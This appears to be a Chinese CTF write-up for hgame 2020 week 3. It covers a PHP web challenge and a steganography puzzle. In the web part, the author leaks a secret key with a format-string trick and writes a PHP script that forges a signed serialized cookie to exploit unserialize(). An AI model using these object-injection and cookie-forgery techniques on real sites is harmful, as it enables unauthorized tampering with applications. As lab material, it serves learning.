hgame2020-week3-后排围观

这周qwq基本等于没有在写题...

web

序列之争

啊...原来是要得到

```
private $encryptKey = 'SUPER_SECRET_KEY_YOU_WILL_NEVER_KNOW';
```

这里的encryptKey QAQ

```
class Game
{
    private $encryptKey = 'SUPER_SECRET_KEY_YOU_WILL_NEVER_KNOW';
    public $welcomeMsg = '%s, Welcome to Ordinal Scale!';

    private $sign = '';
    public $rank;

    public function __construct($playerName){
        $_SESSION['player'] = $playerName;
        if(!isset($_SESSION['exp'])){
            $_SESSION['exp'] = 0;
        }
        $data = [$playerName, $this->encryptKey];
        $this->init($data);
        $this->monster = new Monster($this->sign);
        $this->rank = new Rank();
    }

    private function init($data){
        foreach($data as $key => $value){
            $this->welcomeMsg = sprintf($this->welcomeMsg, $value);
            $this->sign .= md5($this->sign . $value);
        }
    }
}
```

看了hint,传入player=%s以此来得到$encryptKey

```
class Rank
{
    private $rank;
    private $serverKey;     // 服务器的 Key
    private $key =
'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
x';
```

```php
    public function __construct(){
        if(!isset($_SESSION['rank'])){
            $this->Set(rand(2, 1000));
            return;
        }

        $this->Set($_SESSION['rank']);
    }

    public function Set($no){
        $this->rank = $no;
    }

    public function Get(){
        return $this->rank;
    }

    public function Fight($monster){
        if($monster['no'] >= $this->rank){
            $this->rank -= rand(5, 15);
            if($this->rank <= 2){
                $this->rank = 2;
            }

            $_SESSION['exp'] += rand(20, 200);
            return array(
                'result' => true,
                'msg' => '<span style="color:green;">Congratulations! You win!
</span>'
            );
        }else{
            return array(
                'result' => false,
                'msg' => '<span style="color:red;">You die!</span>'
            );
        }
    }

    public function __destruct(){
        // 确保程序是跑在服务器上的!
        $this->serverKey = $_SERVER['key'];
        if($this->key === $this->serverKey){
            $_SESSION['rank'] = $this->rank;
        }else{
            // 非正常访问
            session_start();
            session_destroy();
            setcookie('monster', '');
            header('Location: index.php');
            exit;
        }
    }
}

class Monster
{
    private $monsterData;
    private $encryptKey;
```

```
    public function __construct($key){
        $this->encryptKey = $key;
        if(!isset($_COOKIE['monster'])){
            $this->Set();
            return;
        }

        $monsterData = base64_decode($_COOKIE['monster']);
        if(strlen($monsterData) > 32){//32是指md5的位数
            $sign = substr($monsterData, -32);
            $monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
            if(md5($monsterData . $this->encryptKey) === $sign){
                $this->monsterData = unserialize($monsterData);
            }else{
                session_start();
                session_destroy();
                setcookie('monster', '');
                header('Location: index.php');
                exit;
            }
        }

        $this->Set();
    }

    public function Set(){
        $monsterName = ['无名小怪', 'BOSS: The Kernal Cosmos', '小怪: Big
Eggplant', 'BOSS: The Mole King', 'BOSS: Zero Zone Witch'];
        $this->monsterData = array(
            'name' => $monsterName[array_rand($monsterName, 1)],
            'no' => rand(1, 2000),
        );
        $this->Save();
    }

    public function Get(){
        return $this->monsterData;
    }

    private function Save(){
        $sign = md5(serialize($this->monsterData) . $this->encryptKey);
        setcookie('monster', base64_encode(serialize($this->monsterData) .
$sign));
    }
}
```

```
  <main role="main" class="inner cover">
    <h2 class="cover-heading"><?php echo($game->welcomeMsg);?></h2>
    <h1># <?php echo($game->rank->Get());?></h1>
    <?php if($game->rank->Get() === 1){?>
        <h2>hgame{flag_is_here}</h2>
    <?php }?>
    <br>
```

在Monster类里有反序列化函数unserialize(),而里面传入的内容是我们可以控制的cookie,所以可以通过这个函数来使得this->rank()==1。关于进入unserialize()之前所要达到的条件，其实执行一遍Monster类里Save()函数的内容就可以了:

```php
<?php
error_reporting(0);
session_start();

class Game
{
    private $encryptKey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL';

    private $sign = '';
    public $rank;

    public function __construct(){
        $data = [1, $this->encryptKey];
        $this->init($data);
    }

    private function init($data){
        foreach($data as $key => $value){
            $this->sign .= md5($this->sign . $value);

        }
        print($this->sign);
    }
}

class Rank
{

    private $rank;
    public function __construct(){
        $this->rank = $no;
        if(!isset($_SESSION['rank'])){
            $_SESSION['rank'] = 1;
        }

        $this->Set($_SESSION['rank']);
    }

    public function Set($no){

    }

}
new Game();
$res1=serialize(new Rank());
//print($res1);
$key='c4ca4238a0b923820dcc509a6f75849b4eb38c8d89d42dd45200003c8b7101c6';
$sign = md5($res1 . $key);
setcookie('monster', base64_encode($res1 . $sign));
echo "<br>";
print($_COOKIE['monster']);
?>
```

之后burpsuite拦截改cookie的值就可以了

misc

三重隐写

根据You konw LSB.wav先用silentEye把wav解码，出现key,用来解看起来很古风的mp3，得到flag.crypto，另一个mp3的图像是个条形码，在线解码一下。根据提供的工具，把条形码解码出的内容作为.crypto的key就可以得到flag